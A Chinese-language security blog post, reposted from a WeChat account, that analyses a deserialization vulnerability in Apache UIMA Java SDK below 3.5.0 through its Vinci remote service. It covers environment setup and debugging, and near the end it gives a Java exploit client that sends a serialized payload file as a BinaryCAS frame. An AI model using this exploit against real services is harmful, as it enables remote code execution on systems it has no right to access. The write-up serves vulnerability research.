Apache UIMA Java SDK <3.5.0 反序列化漏洞

admin 2024年2月14日01:29:54评论16 views字数 2513阅读8分22秒阅读模式

Apache UIMA 是一个用于分析非结构化内容(比如文本、视频和音频)的组件架构和软件框架实现。由于Apache UIMA Java SDK在反序列化Java对象时没有验证数据,当应用程序中使用了Vinci 或 CasIOUtils时,攻击者可以通过发送恶意的 CAS 序列化对象执行恶意操作,导致任意代码执行。

这里不去看别的项目可能调用到CasIOUtils看看他自己这个vinci远程服务吧,,,

Apache UIMA Java SDK <3.5.0 反序列化漏洞

vinci

远程实现

Apache UIMA™ - Tutorials and User’s Guides

Apache UIMA Java SDK <3.5.0 反序列化漏洞

官方文档讲了vinci远程调用,,,但是还是很坑,,,,,,,,用的太少了没什么示例感觉。

环境搭建

摸索。。。

在bin目录下面起一个cmd

设置一下环境变量

set UIMA_HOME=D:xxxxxuimaj-3.4.1-binapache-uima

先把VNS服务起起来 startVNS.bat 启动就行 默认开放在9000端口

然后是把这个vinciservice挂上去

这里用了他提供的demo 启动

startVinciServicebinary.bat Deploy_PersonTitleAnnotator.xml 127.0.0.1 

Apache UIMA Java SDK <3.5.0 反序列化漏洞

要开启了vinci服务  并且要知道挂在上面的casxml配置  这里用的是官网文档给的启用默认的。

而且还得是VinciBinaryAnalysisEngineService_impl 启动的  

给的默认启动脚本启动的是VinciAnalysisEngineService_impl

这里把startVinciService.bat 粘贴了一份出来,把VinciAnalysisEngineService_impl 改成了VinciBinaryAnalysisEngineService_impl 启动,一个远程可以打的环境准备好了- -

调试

给启动的bat脚本调用的jvm参数加上调试参数即可

漏洞分析调试

https://github.com/apache/uima-uimaj/commit/6a8ab16a604401c9e8ec5c5c94e94515371d324b

一个的是UIMA启动vinci服务会受到影响,一个是包含该漏洞依赖并使用了CasIOUtils的可能会受到影响

Apache UIMA Java SDK <3.5.0 反序列化漏洞

VinciBinaryAnalysisEngineService实现类的analyze方法调用了deserialize存在漏洞

Apache UIMA Java SDK <3.5.0 反序列化漏洞

Apache UIMA Java SDK <3.5.0 反序列化漏洞

这里下载的官方包里面默认启动的是VinciAnalysisEngineService_impl  修改为VinciBinaryAnalysisEngineService_impl 启动有漏洞的服务,,,

Apache UIMA Java SDK <3.5.0 反序列化漏洞

Apache UIMA Java SDK <3.5.0 反序列化漏洞

1.数据流量传输开头为X 计算为88

Apache UIMA Java SDK <3.5.0 反序列化漏洞

这里用官方给的vinciClient来连接调试,下载的源码给的demo加载的测试数据是ping 会取到header 直接删掉

因为这里要求out为空才能进到eval

Apache UIMA Java SDK <3.5.0 反序列化漏洞

  1. Constants 为Annotate或者ProcessCas才能进入到 analyze函数

Apache UIMA Java SDK <3.5.0 反序列化漏洞

Apache UIMA Java SDK <3.5.0 反序列化漏洞

这里设置TransportConstants.COMMAND_KEY 为Annotate或者ProcessCas

反序列化的casBytes来自binaryCAS

Apache UIMA Java SDK <3.5.0 反序列化漏洞

这里构造BinaryCAS输入byte[]即可。

这里fadd有点坑,byte字符串会自动base64加密  

要用对应的faddTrueBinary

Apache UIMA Java SDK <3.5.0 反序列化漏洞

攻击EXP如下  运行

-DVNS_HOST指定 VINCI服务的IP 端口默认9000 也可以指定,,,

Apache UIMA Java SDK <3.5.0 反序列化漏洞

构造攻击代码如下 记得启动vm参数里面加上IP和端口

import org.apache.vinci.transport.Frame;import org.apache.vinci.transport.TransportConstants;import org.apache.vinci.transport.VinciClient;import org.apache.vinci.transport.VinciFrame;import java.io.*;public class attack {    public static void main(String[] args) {        try {            DataInputStream in = null;            in = new DataInputStream(new BufferedInputStream(new FileInputStream("2.ser")));            int length = in.available();            byte[] buf = new byte[length];            in.readFully(buf);//            FileInputStream f = new FileInputStream("test.ser");            Frame ping = new VinciFrame();            ping.fadd(TransportConstants.COMMAND_KEY,"ProcessCas");            ping.faddTrueBinary("BinaryCAS",buf);//            ping.fadd("BinaryCAS",buf);  base64加密//    ping.fset(TransportConstants.COMMAND_KEY,"ProcessCas");//    Frame ping = new VinciFrame().fset("BinaryCAS","123456");//    Frame ping = new VinciFrame().fadd(TransportConstants.PING_KEY, "hi");            System.out.println(VinciClient.rpc(ping, args[0]));        } catch (Exception e) {            e.printStackTrace();    }}}

条件苛刻,,,开启了vinci服务,并且要知道挂在上面的service路由,且还得是VinciBinaryAnalysisEngineService_impl 启动的。

可能CasIOUtils有用的吧,,,不知道了

原文始发于微信公众号(FXDSecurity):Apache UIMA Java SDK <3.5.0 反序列化漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月14日01:29:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache UIMA Java SDK <3.5.0 反序列化漏洞https://cn-sec.com/archives/2205110.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息